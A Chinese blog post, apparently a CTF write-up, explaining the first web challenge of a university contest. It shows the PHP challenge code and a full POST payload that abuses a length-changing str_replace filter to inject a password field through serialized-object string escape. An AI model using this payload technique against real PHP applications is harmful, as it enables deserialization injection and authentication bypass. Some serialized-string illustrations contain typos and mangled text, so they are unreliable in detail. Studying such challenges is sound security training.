中北大学第二届CTF的WEB模块第一题

中北大学第二届CTF的WEB模块第一题

题目代码

<?php
    include_once 'flag.php';
    highlight_file(__FILE__);
    // Security filtering function
    function filter($str){
        return str_replace('secure', 'secured', $str);
    }
    class Hacker{
        public $username = 'margin';
        public $password = 'margin123';
    }
    $h = new Hacker();
    if (isset($_POST['username']) && isset($_POST['password'])){
        // Security filtering
        $h->username = $_POST['username'];
        $c = unserialize(filter(serialize($h)));
        if ($c->password === 'hacker'){
            echo $flag;
        }
    }

预备知识

  • isset():检测变量是否已设置并且非 null
  • string serialize ( mixed $value ):序列化函数,通过这个函数将多个键值对组合为一个字符串,有利于存储或者传递PHP值,示例如下:
<?php
$g = array('username' => 'gggxx' , 'password' => 'xxxmm');
 
//序列化数组
$s = serialize($g);
echo $s;
//输出结果:g:2:{s:8:"username";s:5:"gggxx";s:8:"password";s:5:"xxxmm";}
?>
  • str_replace(“world”,“W”,“Hello world!”):字符串替换函数,将Hello World中的word替换成W
  • unserialize():反序列化函数,相当于序列化函数的逆运算,根据序列化后的字符串求出PHP的键值

思考过程

  1. 首先看函数部分,也就是if函数,函数中每一步的作用我会在代码旁以注释的形式标明。
class Hacker{
        public $username = 'margin';
        public $password = 'margin123';
	}
	$h = new Hacker();//创建Hacker对象
if (isset($_POST['username']) && isset($_POST['password'])){//通过POST方式获取username与password对应的值($_POST['']),并且两个值都不为null(isset函数)
        // Security filtering
        $h->username = $_POST['username'];//将接收到的username值赋值给上面h的username
        $c = unserialize(filter(serialize($h)));//将h依次进行进行序列化、字符串替换、以及反序列化等操作,并将反序列化后的PHP值赋给c。注意:这里的h相当于接收到的username
        if ($c->password === 'hacker'){
            echo $flag;//如果c的password值等于'hacker',那么就输出flag值
        }
    }
  • 通过上面对代码的讲解就可以得知,最后判断是否输出flag,依靠的是c的password值,c是由h经过序列化、字符串替换、反序列化三个操作得出的,而h是由我们传的username值得到的。
  • 也就是username–>h.username–>c–>password,所以我们可以得出结论,1.flag的输出与我们传入的password的值无关,只与传的username有关,但是password必须为非空 2.c的password值是由我们传入的username中得到的
  1. 接下来就是看怎么将password的值放入username的值中了,因为h经过了序列化、字符串替换以及反序列化操作,所以这里想到了PHP的反序列化溢出。序列化结果的格式如下:
//序列化结果格式:{s:字符串长度:字符串;s:字符串长度:字符串;}
h:2:{s:8:"username";s:5:"gggxx";s:8:"password";s:5:"xxxmm";}

序列化中的字符串长度是多长,反序列化时它就会将多长的字符串取出,结合代码中的字符串替换函数,替换函数中每次将secure替换成了secured,也就是每次替换字符串的长度增加了1,序列化后字符串的长度进行增加。所以原本应该被username取到的部分字符串就会出现没有被username取到的情况,我们可以将溢出的部分字符串变为已经设置好的序列化后的password,然后反序列化时自然而然地会将我们加入都password赋值给c,这时就会出现password。代码如下:

POST请求中:username=securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}&password=yyyy

需要反序列化的为变量h,也就是:username=securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}&password=margin123(h的初始密码)

//我们需要将";s:8:"password";s:6:"hacker";}加入到username中,这部分为需要溢出的字符串,一共为31位,所以我们需要在前面添加31位secure,这样在反序列化时会自动加上password=hacker,&后的password的值任意。

一步步解析:
假设"securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}"这段字符串的长度为len
1.序列化结果:
{s:8:"username";s:len:"securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}";s:8:"passsword";s:8:"margin123"}

2.字符串替换(执行filter()函数)后的结果:
字符串变成了:"securedsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuresedcuresedcuresedcuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuresedcuresedcuredsecured";s:8:"password";s:6:"hacker";}"长度为len+31,31为";s:8:"password";s:6:"hacker";}的长度
序列化结果变为:
{s:8:"username";s:len:"securedsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuresedcuresedcuresedcuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuresedcuresedcuredsecured";s:8:"password";s:6:"hacker";};s:8,"password";s:8:"margin123";}
3.反序列化结果:
由于hacker后有一个},所以只看}前面的内容,也就是username="securedsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuresedcuresedcuresedcuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuresedcuresedcuredsecured" password=hacker

这里password与hacker成功地进行了注入,他们都是传入的username得到的,但是也有了password,所以可以反序列化赋值给c

赛后总结

总而言之就是通过secure字符串的替换,使得序列化中username的实际长度变长,占用了原有的部分字符串的位置,而这些字符串可以自己构造成password,从而反序列化读出。

附一张得到flag的截图:
在这里插入图片描述

  • 12
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值